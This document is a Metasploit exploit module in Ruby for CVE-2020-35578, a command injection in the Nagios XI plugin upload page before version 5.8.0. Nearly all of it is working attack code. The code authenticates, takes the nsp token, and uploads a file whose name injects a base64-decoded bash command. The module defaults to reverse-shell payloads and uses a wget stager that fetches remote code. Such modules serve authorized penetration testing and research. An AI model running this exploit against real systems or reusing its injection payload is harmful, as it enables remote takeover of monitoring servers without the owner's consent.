This Metasploit module exploits a command injection vulnerability in the /admin/monitoringplugins.php page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows an authenticated admin user to achieve remote code execution as the apache user by uploading a malicious plugin. Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both running on CentOS 7.
91ac1437912ce19fca5580399b1f6625##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection',
'Description' => %q{
This module exploits a command injection vulnerability (CVE-2020-35578) in the `/admin/monitoringplugins.php`
page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows
an authenticated admin user to achieve remote code execution as the `apache` user by uploading
a malicious plugin.
Valid credentials for a Nagios XI admin user are required. This module has
been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both
running on CentOS 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Haboob Team', # https://haboob.sa - PoC
'Erik Wynter' # @wyntererik - Metasploit'
],
'References' =>
[
['CVE', '2020-35578'],
['EDB', '49422']
],
'Platform' => %w[linux unix],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86/x64)', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
# only the wget and perhaps the curl CmdStagers work against a typical Nagios XI host (CentOS 7 minimal) if Nagios XI was installed according to the documentation
'CmdStagerFlavor' => :wget,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'CMD', {
'Arch' => [ARCH_CMD],
'Platform' => 'unix',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-12-19',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
'Reliability' => [FIRST_ATTEMPT_FAIL] # payload may not connect back the first time
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
]
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def finish_install
datastore['FINISH_INSTALL']
end
def check
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
# an array containing the http response body of a get request to index.php and the session cookies
login_result, res_array = nagios_xi_login(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is not fully installed
install_result = install_nagios_xi(password)
if install_result
return CheckCode::Unknown(install_result[1])
end
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is still not fully installed
return CheckCode::Detected('Failed to install Nagios XI on the target.')
end
end
# when 5 is excluded from the case statement above to prevent having to use this code block twice.
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
if login_result == 5 # the Nagios XI license agreement has not been signed
auth_cookies, nsp = res_array
sign_license_result = sign_license_agreement(auth_cookies, nsp)
if sign_license_result
return CheckCode::Unknown(sign_license_result[1])
end
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3
return CheckCode::Unknown(res_array[0])
when 5 # the Nagios XI license agreement still has not been signed
return CheckCode::Detected('Failed to sign the license agreement.')
end
end
print_good('Successfully authenticated to Nagios XI')
# Obtain the Nagios XI version
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already
nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
end
print_status("Target is Nagios XI with version #{nagios_version}")
# check if the target is actually vulnerable
if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'
nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.
end
@version = Rex::Version.new(nagios_version)
if @version < Rex::Version.new('5.8.0')
return CheckCode::Appears
end
return CheckCode::Safe
end
def execute_command(cmd, _opts = {})
# Convert the payload to hex ASCII and then Base64 encode the payload.
# This is necessary for the exploit to work.
payload_ascii = Rex::Text.to_hex_ascii(cmd)
payload_base64 = Rex::Text.encode_base64(payload_ascii)
payload = ";echo #{payload_base64} | base64 -d | bash;#"
register_file_for_cleanup("/usr/local/nagios/libexec/#{payload}") # deleting the payload via the web interface doesn't seem possible
# generate post data
post_data = Rex::MIME::Message.new
random_post_content = rand_text_alphanumeric(8..12)
post_data.add_part('', nil, nil, 'form-data; name="upload"')
post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"')
post_data.add_part(random_post_content, 'text/plain', nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload}\"")
post_data.add_part('1', nil, nil, 'form-data; name="convert_to_unix"')
# upload payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => @auth_cookies,
'data' => post_data.to_s
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
end
def exploit
if @version < Rex::Version.new('5.3.0')
fail_with(Failure::NoTarget, 'Target is vulnerable but this module currently does not support exploiting target prior to 5.3.0!')
end
# visit /admin/monitoringplugins.php in order to get the nsp token required to upload the payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'),
'cookie' => @auth_cookies
})
unless res
fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`")
end
unless res.code == 200 && res.body.include?('<title>Manage Plugins · Nagios XI</title>')
fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`")
end
# grab the nsp token, using the Nagios XI mixin
@nsp = get_nsp(res)
if @nsp.blank?
fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')
end
if target.arch.first == ARCH_CMD
print_status('Executing the payload')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end